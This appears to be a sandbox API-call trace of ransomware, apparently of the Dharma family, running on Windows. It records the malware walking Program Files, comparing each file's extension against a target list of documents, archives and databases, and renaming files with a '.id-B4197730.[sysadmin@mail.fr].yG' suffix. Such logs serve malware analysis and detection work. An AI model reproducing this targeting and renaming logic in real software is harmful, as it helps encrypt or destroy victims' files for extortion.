	[0136.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.080] lstrlenW (lpString=".dbf") returned 4
	[0136.080] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.080] lstrlenW (lpString=".1cd") returned 4
	[0136.080] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.080] lstrlenW (lpString=".jpg") returned 4
	[0136.080] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.080] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0136.081] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0136.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0136.180] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=10240) returned 1
	[0136.180] CloseHandle (hObject=0x3cc) returned 1
	[0136.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20
	[0136.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.181] lstrlenW (lpString=".doc") returned 4
	[0136.181] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.181] lstrlenW (lpString=".docx") returned 5
	[0136.181] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.181] lstrlenW (lpString=".pdf") returned 4
	[0136.181] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.181] lstrlenW (lpString=".xls") returned 4
	[0136.181] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.181] lstrlenW (lpString=".xlsx") returned 5
	[0136.181] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.181] lstrlenW (lpString=".ppt") returned 4
	[0136.181] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.181] lstrlenW (lpString=".zip") returned 4
	[0136.181] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.181] lstrlenW (lpString=".rar") returned 4
	[0136.181] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.181] lstrlenW (lpString=".bz2") returned 4
	[0136.181] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.181] lstrlenW (lpString=".7z") returned 3
	[0136.181] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.182] lstrlenW (lpString=".dbf") returned 4
	[0136.182] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.182] lstrlenW (lpString=".1cd") returned 4
	[0136.182] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.182] lstrlenW (lpString=".jpg") returned 4
	[0136.182] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.182] lstrlenW (lpString=".doc") returned 4
	[0136.182] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.182] lstrlenW (lpString=".docx") returned 5
	[0136.182] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.182] lstrlenW (lpString=".pdf") returned 4
	[0136.182] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.182] lstrlenW (lpString=".xls") returned 4
	[0136.182] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.182] lstrlenW (lpString=".xlsx") returned 5
	[0136.182] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.182] lstrlenW (lpString=".ppt") returned 4
	[0136.182] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.182] lstrlenW (lpString=".zip") returned 4
	[0136.182] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.182] lstrlenW (lpString=".rar") returned 4
	[0136.183] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.183] lstrlenW (lpString=".bz2") returned 4
	[0136.183] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.183] lstrlenW (lpString=".7z") returned 3
	[0136.183] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.183] lstrlenW (lpString=".dbf") returned 4
	[0136.183] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.183] lstrlenW (lpString=".1cd") returned 4
	[0136.183] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0136.183] lstrlenW (lpString=".jpg") returned 4
	[0136.183] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.183] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0136.183] lstrlenW (lpString="tabskb.dll") returned 10
	[0136.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0136.203] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=4101632) returned 1
	[0136.204] CloseHandle (hObject=0x3cc) returned 1
	[0136.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20
	[0136.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0136.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.204] lstrlenW (lpString=".doc") returned 4
	[0136.204] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0136.204] lstrlenW (lpString=".docx") returned 5
	[0136.204] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1
	[0136.204] lstrlenW (lpString=".pdf") returned 4
	[0136.204] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0136.204] lstrlenW (lpString=".xls") returned 4
	[0136.204] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0136.204] lstrlenW (lpString=".xlsx") returned 5
	[0136.204] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1
	[0136.204] lstrlenW (lpString=".ppt") returned 4
	[0136.205] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0136.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.205] lstrlenW (lpString=".zip") returned 4
	[0136.205] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0136.205] lstrlenW (lpString=".rar") returned 4
	[0136.205] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0136.205] lstrlenW (lpString=".bz2") returned 4
	[0136.205] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0136.205] lstrlenW (lpString=".7z") returned 3
	[0136.205] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0136.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.205] lstrlenW (lpString=".dbf") returned 4
	[0136.205] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0136.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.205] lstrlenW (lpString=".1cd") returned 4
	[0136.205] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0136.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.205] lstrlenW (lpString=".jpg") returned 4
	[0136.205] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0136.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.205] lstrlenW (lpString=".doc") returned 4
	[0136.205] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0136.205] lstrlenW (lpString=".docx") returned 5
	[0136.205] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1
	[0136.205] lstrlenW (lpString=".pdf") returned 4
	[0136.205] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0136.205] lstrlenW (lpString=".xls") returned 4
	[0136.206] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0136.206] lstrlenW (lpString=".xlsx") returned 5
	[0136.206] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1
	[0136.206] lstrlenW (lpString=".ppt") returned 4
	[0136.206] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0136.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.206] lstrlenW (lpString=".zip") returned 4
	[0136.206] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0136.206] lstrlenW (lpString=".rar") returned 4
	[0136.206] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0136.206] lstrlenW (lpString=".bz2") returned 4
	[0136.206] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0136.206] lstrlenW (lpString=".7z") returned 3
	[0136.206] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0136.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.206] lstrlenW (lpString=".dbf") returned 4
	[0136.206] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0136.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.206] lstrlenW (lpString=".1cd") returned 4
	[0136.206] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0136.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0136.206] lstrlenW (lpString=".jpg") returned 4
	[0136.206] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0136.207] Sleep (dwMilliseconds=0x64) 
	[0136.490] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0136.490] lstrlenW (lpString="msado15.dll") returned 11
	[0136.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0136.541] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=1233920) returned 1
	[0136.541] CloseHandle (hObject=0x3fc) returned 1
	[0136.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20
	[0136.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.541] lstrlenW (lpString=".doc") returned 4
	[0136.541] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0136.541] lstrlenW (lpString=".docx") returned 5
	[0136.541] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0136.541] lstrlenW (lpString=".pdf") returned 4
	[0136.541] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0136.542] lstrlenW (lpString=".xls") returned 4
	[0136.542] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0136.542] lstrlenW (lpString=".xlsx") returned 5
	[0136.542] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0136.542] lstrlenW (lpString=".ppt") returned 4
	[0136.542] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0136.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.542] lstrlenW (lpString=".zip") returned 4
	[0136.542] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0136.542] lstrlenW (lpString=".rar") returned 4
	[0136.542] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0136.542] lstrlenW (lpString=".bz2") returned 4
	[0136.542] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0136.542] lstrlenW (lpString=".7z") returned 3
	[0136.542] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0136.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.542] lstrlenW (lpString=".dbf") returned 4
	[0136.542] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0136.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.542] lstrlenW (lpString=".1cd") returned 4
	[0136.542] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0136.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.542] lstrlenW (lpString=".jpg") returned 4
	[0136.542] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0136.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.542] lstrlenW (lpString=".doc") returned 4
	[0136.542] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0136.542] lstrlenW (lpString=".docx") returned 5
	[0136.542] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0136.543] lstrlenW (lpString=".pdf") returned 4
	[0136.543] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0136.543] lstrlenW (lpString=".xls") returned 4
	[0136.543] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0136.543] lstrlenW (lpString=".xlsx") returned 5
	[0136.543] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0136.543] lstrlenW (lpString=".ppt") returned 4
	[0136.543] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0136.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.543] lstrlenW (lpString=".zip") returned 4
	[0136.543] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0136.543] lstrlenW (lpString=".rar") returned 4
	[0136.543] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0136.543] lstrlenW (lpString=".bz2") returned 4
	[0136.543] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0136.543] lstrlenW (lpString=".7z") returned 3
	[0136.543] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0136.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.543] lstrlenW (lpString=".dbf") returned 4
	[0136.543] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0136.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.543] lstrlenW (lpString=".1cd") returned 4
	[0136.543] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0136.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0136.543] lstrlenW (lpString=".jpg") returned 4
	[0136.543] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0136.543] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0136.544] lstrlenW (lpString="msado26.tlb") returned 11
	[0136.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0136.625] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=70656) returned 1
	[0136.626] CloseHandle (hObject=0x3fc) returned 1
	[0136.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20
	[0136.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.626] lstrlenW (lpString=".doc") returned 4
	[0136.626] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0136.626] lstrlenW (lpString=".docx") returned 5
	[0136.626] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1
	[0136.626] lstrlenW (lpString=".pdf") returned 4
	[0136.626] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0136.626] lstrlenW (lpString=".xls") returned 4
	[0136.626] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0136.626] lstrlenW (lpString=".xlsx") returned 5
	[0136.626] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1
	[0136.626] lstrlenW (lpString=".ppt") returned 4
	[0136.626] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0136.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.626] lstrlenW (lpString=".zip") returned 4
	[0136.626] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0136.626] lstrlenW (lpString=".rar") returned 4
	[0136.626] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0136.626] lstrlenW (lpString=".bz2") returned 4
	[0136.626] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0136.626] lstrlenW (lpString=".7z") returned 3
	[0136.626] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0136.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.627] lstrlenW (lpString=".dbf") returned 4
	[0136.627] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0136.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.627] lstrlenW (lpString=".1cd") returned 4
	[0136.627] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0136.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.627] lstrlenW (lpString=".jpg") returned 4
	[0136.627] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0136.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.627] lstrlenW (lpString=".doc") returned 4
	[0136.627] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0136.627] lstrlenW (lpString=".docx") returned 5
	[0136.627] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1
	[0136.627] lstrlenW (lpString=".pdf") returned 4
	[0136.627] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0136.627] lstrlenW (lpString=".xls") returned 4
	[0136.627] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0136.627] lstrlenW (lpString=".xlsx") returned 5
	[0136.627] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1
	[0136.627] lstrlenW (lpString=".ppt") returned 4
	[0136.627] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0136.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.627] lstrlenW (lpString=".zip") returned 4
	[0136.627] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0136.627] lstrlenW (lpString=".rar") returned 4
	[0136.627] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0136.627] lstrlenW (lpString=".bz2") returned 4
	[0136.627] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0136.627] lstrlenW (lpString=".7z") returned 3
	[0136.627] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0136.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.627] lstrlenW (lpString=".dbf") returned 4
	[0136.627] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0136.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.627] lstrlenW (lpString=".1cd") returned 4
	[0136.627] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0136.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0136.628] lstrlenW (lpString=".jpg") returned 4
	[0136.628] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0136.628] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0136.628] lstrlenW (lpString="msado28.tlb") returned 11
	[0136.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0136.658] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=70656) returned 1
	[0136.658] CloseHandle (hObject=0x3fc) returned 1
	[0136.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20
	[0136.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0136.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0136.658] lstrlenW (lpString=".doc") returned 4
	[0136.658] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0136.658] lstrlenW (lpString=".docx") returned 5
	[0136.658] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0136.658] lstrlenW (lpString=".pdf") returned 4
	[0136.658] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0136.658] lstrlenW (lpString=".xls") returned 4
	[0136.658] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0136.658] lstrlenW (lpString=".xlsx") returned 5
	[0136.659] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0136.659] lstrlenW (lpString=".ppt") returned 4
	[0136.659] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0136.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0136.659] lstrlenW (lpString=".zip") returned 4
	[0136.659] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
